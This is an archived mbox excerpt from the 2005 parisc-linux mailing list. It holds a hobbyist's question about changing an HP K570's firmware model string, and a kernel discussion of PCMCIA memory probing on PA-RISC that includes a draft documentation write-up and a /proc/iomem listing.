	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ovfoY9RQeSEkWL6WZHQhaXN1IGRvb4Ay
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23235


--===============0013831168==
Content-type: multipart/alternative; boundary=Apple-Mail-1--869907180


--Apple-Mail-1--869907180
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=US-ASCII;
	delsp=yes;
	format=flowed

Greetings to all!

This may be a awkward question to be asking over here, but this is  
really the only community of HPPA users that I've seen on the net so  
far.

I've got a K570 in my basement here that I need to change the Model  
String stuck up in Stable Storage (presumably on some magical NVRam  
or EEPROM chipset) somehow. The machine right now has been retarded  
by HP and thinks it is a "K370", despite having the Mainboard and all  
the hardware parts of a K570.

Therefore, PDC ever-so-helpfully warns me that my second Memory  
Carrier (which it finds, tests, and reports all RAM correctly on) is  
exceeding a K370's hardware specification, and that I have to remove  
it. It refuses to boot with the second card, despite the second card  
and all associated RAM working perfectly (Guess this is the "HP Way"  
of crippling your hardware marketing).

I'd like to know- how can I update the Model String? I know its  
possible via way of SS_Config, but thats another magical HP utility  
that only CE's apparently have, and HP told me they won't give it to  
a hobbyist with a K570 living in his basement :(. Can Linux do this,  
and if so, how would I go about updating the Model String?

I don't need to change anything else. I'd just like to be able to use  
the hardware that the machine physically supports, without PDC  
getting all freaked out about hardware specs and such.

Cheers!

Keven Tipping



--Apple-Mail-1--869907180
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html;
	charset=US-ASCII

<HTML><BODY style=3D"word-wrap: break-word; -khtml-nbsp-mode: space; =
-khtml-line-break: after-white-space; ">Greetings to all!<DIV><BR =
class=3D"khtml-block-placeholder"></DIV><DIV>This may be a awkward =
question to be asking over here, but this is really the only community =
of HPPA users that I've seen on the net so far.</DIV><DIV><BR =
class=3D"khtml-block-placeholder"></DIV><DIV>I've got a K570 in my =
basement here that I need to change the Model String stuck up in Stable =
Storage (presumably on some magical NVRam or EEPROM chipset) somehow. =
The machine right now has been retarded by HP and thinks it is a "K370", =
despite having the Mainboard and all the hardware parts of a =
K570.</DIV><DIV><BR =
class=3D"khtml-block-placeholder"></DIV><DIV>Therefore, PDC =
ever-so-helpfully warns me that my second Memory Carrier (which it =
finds, tests, and reports all RAM correctly on) is exceeding a K370's =
hardware specification, and that I have to remove it. It refuses to boot =
with the second card, despite the second card and all associated RAM =
working perfectly (Guess this is the "HP Way" of crippling your hardware =
marketing).</DIV><DIV><BR class=3D"khtml-block-placeholder"></DIV><DIV>I'd=
 like to know- how can I update the Model String? I know its possible =
via way of SS_Config, but thats another magical HP utility that only =
CE's apparently have, and HP told me they won't give it to a hobbyist =
with a K570 living in his basement :(. Can Linux do this, and if so, how =
would I go about updating the Model String?</DIV><DIV><BR =
class=3D"khtml-block-placeholder"></DIV><DIV>I don't need to change =
anything else. I'd just like to be able to use the hardware that the =
machine physically supports, without PDC getting all freaked out about =
hardware specs and such.</DIV><DIV><BR =
class=3D"khtml-block-placeholder"></DIV><DIV>Cheers!</DIV><DIV><BR><DIV> =
<SPAN class=3D"Apple-style-span" style=3D"border-collapse: separate; =
border-spacing: 0px 0px; color: rgb(0, 0, 0); font-family: Helvetica; =
font-size: 12px; font-style: normal; font-variant: normal; font-weight: =
normal; letter-spacing: normal; line-height: normal; text-align: auto; =
-khtml-text-decorations-in-effect: none; text-indent: 0px; =
-apple-text-size-adjust: auto; text-transform: none; orphans: 2; =
white-space: normal; widows: 2; word-spacing: 0px; "><SPAN =
class=3D"Apple-style-span" style=3D"border-collapse: separate; =
border-spacing: 0px 0px; color: rgb(0, 0, 0); font-family: Helvetica; =
font-size: 12px; font-style: normal; font-variant: normal; font-weight: =
normal; letter-spacing: normal; line-height: normal; text-align: auto; =
-khtml-text-decorations-in-effect: none; text-indent: 0px; =
-apple-text-size-adjust: auto; text-transform: none; orphans: 2; =
white-space: normal; widows: 2; word-spacing: 0px; "><SPAN =
class=3D"Apple-style-span" style=3D"border-collapse: separate; =
border-spacing: 0px 0px; color: rgb(0, 0, 0); font-family: Helvetica; =
font-size: 12px; font-style: normal; font-variant: normal; font-weight: =
normal; letter-spacing: normal; line-height: normal; text-align: auto; =
-khtml-text-decorations-in-effect: none; text-indent: 0px; =
-apple-text-size-adjust: auto; text-transform: none; orphans: 2; =
white-space: normal; widows: 2; word-spacing: 0px; "><P style=3D"margin: =
0.0px 0.0px 0.0px 0.0px"><FONT face=3D"Helvetica" size=3D"3" =
style=3D"font: 12.0px Helvetica">Keven Tipping</FONT></P><BR =
class=3D"Apple-interchange-newline"></SPAN></SPAN></SPAN> =
</DIV><BR></DIV></BODY></HTML>=

--Apple-Mail-1--869907180--

--===============0013831168==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0013831168==--



From - Thu Nov 08 21:34:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] PCMCIA: Disable probing on parisc
Date: Sat, 10 Dec 2005 23:50:23 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20051211065023.GA7987@colo.lackof.org>
References: <20051204060423.GA12355@quicksilver.road.mcmartin.ca>
	<20051204103338.GA16791@flint.arm.linux.org.uk>
	<1133818340.3395.11.camel@mulgrave>
	<20051205220344.GJ15201@flint.arm.linux.org.uk>
	<1133829923.3262.1.camel@mulgrave>
	<20051206093643.GA1706@flint.arm.linux.org.uk>
	<1133876209.3267.2.camel@mulgrave>
	<20051207122129.GA31601@isilmar.linta.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623948 17059 80.91.229.3 (22 Nov 2014 02:39:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:08 +0000 (UTC)
To: James Bottomley <James.Bottomley@SteelEye.com>,
 Russell King <rmk+pcmcia@arm.linux.org.uk>,
 linux-pcmcia@lists.infradead.org,
 parisc-linux@lists.parisc-linux.org,
 Kyle McMartin <kyle@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Dec 2005 06:42:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx008) with SMTP; 11 Dec 2005 07:42:08 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1C0F87D6C0;
	Sat, 10 Dec 2005 23:42:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21317-05; Sat, 10 Dec 2005 23:42:04 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0C9EB7D6C2;
	Sat, 10 Dec 2005 23:42:04 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CA3697D6BE
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Dec 2005 23:42:01 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21317-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Dec 2005 23:42:01 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 394DA7D6BD
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Dec 2005 23:42:01 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 57117360002;
	Sat, 10 Dec 2005 23:50:25 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08689-02; Sat, 10 Dec 2005 23:50:23 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id DDDBB360001; Sat, 10 Dec 2005 23:50:23 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20051207122129.GA31601@isilmar.linta.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: F6/pYwEqeSEker6WZHQhaXN1IGRvbwB8
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23236

On Wed, Dec 07, 2005 at 01:21:29PM +0100, Dominik Brodowski wrote:
> Which we do not -- at least what I can see from the code.
> drivers/pcmcia/rsrc_nonstatic.c:
...
> 	-> claim_region()
> 		if (s && s->cb_dev)
> 			parent = pci_find_parent_resource(s->cb_dev, res);
> 		if (!parent || request_resource(parent, res))
> 			=> break out
> As we should.

James,
Could post the /proc/iomem output?

It just occurred to me that you shouldn't need to bring down the network.
We can verify if an IO range resource didn't get parented correctly or
otherwise failed to get registered.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] PCMCIA: Disable probing on parisc
Date: Sun, 11 Dec 2005 00:41:38 -0700
Lines: 113
Approved: news@gmane.org
Message-ID: <20051211074138.GB7987@colo.lackof.org>
References: <20051204060423.GA12355@quicksilver.road.mcmartin.ca>
	<20051204103338.GA16791@flint.arm.linux.org.uk>
	<1133818340.3395.11.camel@mulgrave>
	<20051205220344.GJ15201@flint.arm.linux.org.uk>
	<20051206081458.GA16793@colo.lackof.org>
	<20051206094908.GB1706@flint.arm.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623948 17064 80.91.229.3 (22 Nov 2014 02:39:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Russell King <rmk+pcmcia@arm.linux.org.uk>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Dec 2005 07:33:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx074) with SMTP; 11 Dec 2005 08:33:29 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EE42E7D702;
	Sun, 11 Dec 2005 00:33:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21775-01; Sun, 11 Dec 2005 00:33:22 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3F96C7D6E9;
	Sun, 11 Dec 2005 00:33:21 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 638E27D6C4
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Dec 2005 00:33:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21485-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Dec 2005 00:33:16 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id AE6987D6C2
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Dec 2005 00:33:16 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 29BF1360002;
	Sun, 11 Dec 2005 00:41:41 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12033-03; Sun, 11 Dec 2005 00:41:38 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 821CF360001; Sun, 11 Dec 2005 00:41:38 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20051206094908.GB1706@flint.arm.linux.org.uk>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: HrPpYx5leSEkOL6WZHQhaXN1IGRvbwDr
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23237

On Tue, Dec 06, 2005 at 09:49:08AM +0000, Russell King wrote:
> > Is there some obvious document that explains my basic questions?
> 
> Unfortunately the only thing which exists is the code, sorry.

Russell,
As promised, here's a first cut on something to add to
Documentation/pcmcia/memory_probe. This is in the hope of
being helpful to others porting PCMCIA to their platform.

There is a "FIXME" bit that you'll need to rephrase or perhaps delete.
I'm not clear if you generalized when mentioning P2P bridges as
the parent of the resources.

I also think the distinction between, CIS memory and PCMCIA
card MMIO ranges isn't as sharp as it could be. The last bit
at the bottom hints at it but doesn't say anything about
why the additional MMIO address space is needed.

I also assumed "CIS data" is the content in "CIS memmory".


/dream on
And someday it might be interesting to use the PCI error recovery
code in PCMCIA memory probing to recovery from failures on PPC and
ia64 platforms. It might be possible on some PARISC chipsets as well
but no one is working on PCI error recovery for any PARISC chipset AFAIK.
/dream off

thanks,
grant



PCMCIA Memory Probing
---------------------

Summarized from parisc-linux mailing thread by Grant Grundler:
http://lists.parisc-linux.org/pipermail/parisc-linux/2005-December/027743.html


Abstract
--------
The memory probing code sets up a mapping to place the CIS in one of
the available regions, and then tries to validate/read the CIS.
The probe code then unmaps the CIS data, maps it into the next place,
and repeats.  We're reading data from the PCMCIA card after setting
up various valid mappings.



> Why are we doing this? Is this a form of bus walk?

We are ensuring the MMIO resource really is available. On PCs this
resource may clash with weirdo ACPI/SMM/BIOS crap which we don't know
about.  On non-PCs probing should be completely harmless.  If it isn't,
we found another hardware problem which precludes use of the offending
address range. So the memory probe itself is not the problem, but it may
find something we weren't expecting which will cause a problem later.


[ unfortunately, it's not always harmless on PA-RISC and some
IA64 platforms. These platforms will HPMC (or MCA respectively) if a
CPU times out on an MMIO read. Error recovery on ia64 could eventually
deal sanely with this. -ggg ]


CIS data describes how much IO and memory space PCMCIA card needs,
the supply voltages, access timings, device IDs and so forth.
It is only accessed once a card has been inserted, and we have asked
the PCMCIA controller to map the CIS memory from the card into the
hosts memory space - which must be available.

CIS data is memory mapped the same way the memory probing is done.
Hence, if the memory probing causes issues, reading CIS data from the
card under the non-probing scenarios is not realiable either.



> How is the region selected? (ie please point me at the right code)

By the addresses passed in as available resources, or the parent bridge
resources if the cardbus bridge is attached to a P2P bridge.

# FIXME - what if the PCMCIA controller is connected to a Host PCI
# Bus controller?
# Maybe I'm being a bit anal in the intrepretation here because
# Host PCI bus controllers *act* like PCI-PCI Bridges from
# a PCI Point of view. But the number and type of resources
# available from a Host PCI bus controller is NOT architected
# as is the case for a PCI-PCI Bridge. 

PCMCIA Probe interates over the entire MMIO resource with a step size
of 16k to 8MB depending on the size of the resource.  We ioremap
the physical address, and then ask the PCMCIA controller to forward
accesses targetted at the physical address to the PCMCIA card.
We then access the physical address, verify the card's CIS data matches
previously read data, and then we destroy the mapping and iounmap.
Repeat for each step until we reach the end of the MMIO resource.

If that fails, we perform the same thing (mapping the CIS data) but
we use a checksum method on the mapped card data instead.


PCMCIA bridges use memory and IO outside their own BARs when setting
up mappings for legacy PCMCIA cards.  Hence, the parent bridge needs
to forward _more_ IO and memory than the bus would appear to require.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] PCMCIA: Disable probing on parisc
Date: Sun, 11 Dec 2005 09:14:33 -0600
Lines: 56
Approved: news@gmane.org
Message-ID: <1134314073.3367.5.camel@mulgrave>
References: <20051204060423.GA12355@quicksilver.road.mcmartin.ca>
	<20051204103338.GA16791@flint.arm.linux.org.uk>
	<1133818340.3395.11.camel@mulgrave>
	<20051205220344.GJ15201@flint.arm.linux.org.uk>
	<1133829923.3262.1.camel@mulgrave>
	<20051206093643.GA1706@flint.arm.linux.org.uk>
	<1133876209.3267.2.camel@mulgrave>
	<20051207122129.GA31601@isilmar.linta.de>
	<20051211065023.GA7987@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623948 17066 80.91.229.3 (22 Nov 2014 02:39:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:08 +0000 (UTC)
Cc: Russell King <rmk+pcmcia@arm.linux.org.uk>,
 parisc-linux@lists.parisc-linux.org,
 linux-pcmcia@lists.infradead.org,
 Kyle McMartin <kyle@parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Dec 2005 15:15:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 11 Dec 2005 16:15:07 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D655C7D6A8;
	Sun, 11 Dec 2005 08:15:01 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25335-08; Sun, 11 Dec 2005 08:15:01 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B24F27D6AA;
	Sun, 11 Dec 2005 08:15:00 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 993AC7D6A4
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Dec 2005 08:14:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25335-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Dec 2005 08:14:58 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id D5DB07D6A2
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Dec 2005 08:14:57 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	jBBFEY210931; Sun, 11 Dec 2005 10:14:34 -0500
In-Reply-To: <20051211065023.GA7987@colo.lackof.org>
X-Mailer: Evolution 2.2.3 (2.2.3-2.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: KyfuYx8keSEkTr6WZHQhaXN1IGRvbwD6
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23238

On Sat, 2005-12-10 at 23:50 -0700, Grant Grundler wrote:
> Could post the /proc/iomem output?

Sure, it's below

> It just occurred to me that you shouldn't need to bring down the network.
> We can verify if an IO range resource didn't get parented correctly or
> otherwise failed to get registered.

Well, yes I do.  I still need to verify that the kernel works without
the probe prevention hack.  The problem years ago wasn't the parenting,
it was PCMCIA looking for things like ISA memory regions.  I know the
card currently gets the correct parenting and regions (because it
works).  The question is would it without the pcmcia hack?

James

00000000-1fffffff : System RAM
  00000000-000009ff : PDC data (Page Zero)
  00100000-002b8fff : Kernel code
  002b9000-003efe0b : Kernel data
f0190001-f0190001 : led_data
f0800000-f0ffffff : Dino LMMIO 0
  f0800000-f0800fff : 0000:00:02.0
    f0800000-f0800fff : yenta_socket
  f0801000-f0801fff : 0000:00:13.0
    f0801000-f0801fff : sym53c8xx
  f0802000-f08020ff : 0000:00:13.0
    f0802000-f08020ff : sym53c8xx
  f0803000-f080307f : 0000:00:01.0
  f0804000-f080407f : 0000:00:14.0
    f0804000-f080407f : tulip
  f0805000-f0805fff : pcmcia_socket0
  f0900000-f09fffff : PCI CardBus #01
  f0a00000-f0afffff : PCI CardBus #01
f8000000-f8000fff : sti
f8100000-f84fffff : stifb mmio
f9000000-f917ffff : stifb fb
ffd00000-ffdfffff : Lasi
  ffd00000-ffd00fff : Lasi
  ffd05800-ffd05807 : serial
  ffd08000-ffd08fff : GSC PS2
fff80000-fffaffff : Central Bus
  fff80000-fff80fff : Dino
  fff83800-fff83807 : serial
fffb0000-fffdffff : Local Broadcast
  fffbe000-fffbefff : CPU
fffe0000-ffffffff : Global Broadcast


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] PCMCIA: Disable probing on parisc
Date: Sun, 11 Dec 2005 10:50:04 -0700
Lines: 47
Approved: news@gmane.org
Message-ID: <20051211175004.GA22449@colo.lackof.org>
References: <20051204060423.GA12355@quicksilver.road.mcmartin.ca>
	<20051204103338.GA16791@flint.arm.linux.org.uk>
	<1133818340.3395.11.camel@mulgrave>
	<20051205220344.GJ15201@flint.arm.linux.org.uk>
	<1133829923.3262.1.camel@mulgrave>
	<20051206093643.GA1706@flint.arm.linux.org.uk>
	<1133876209.3267.2.camel@mulgrave>
	<20051207122129.GA31601@isilmar.linta.de>
	<20051211065023.GA7987@colo.lackof.org>
	<1134314073.3367.5.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623949 17326 80.91.229.3 (22 Nov 2014 02:39:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 Russell King <rmk+pcmcia@arm.linux.org.uk>,
 linux-pcmcia@lists.infradead.org,
 Kyle McMartin <kyle@parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Dec 2005 17:41:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx049) with SMTP; 11 Dec 2005 18:41:50 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 705C57D67F;
	Sun, 11 Dec 2005 10:41:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26298-03; Sun, 11 Dec 2005 10:41:46 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 512847D696;
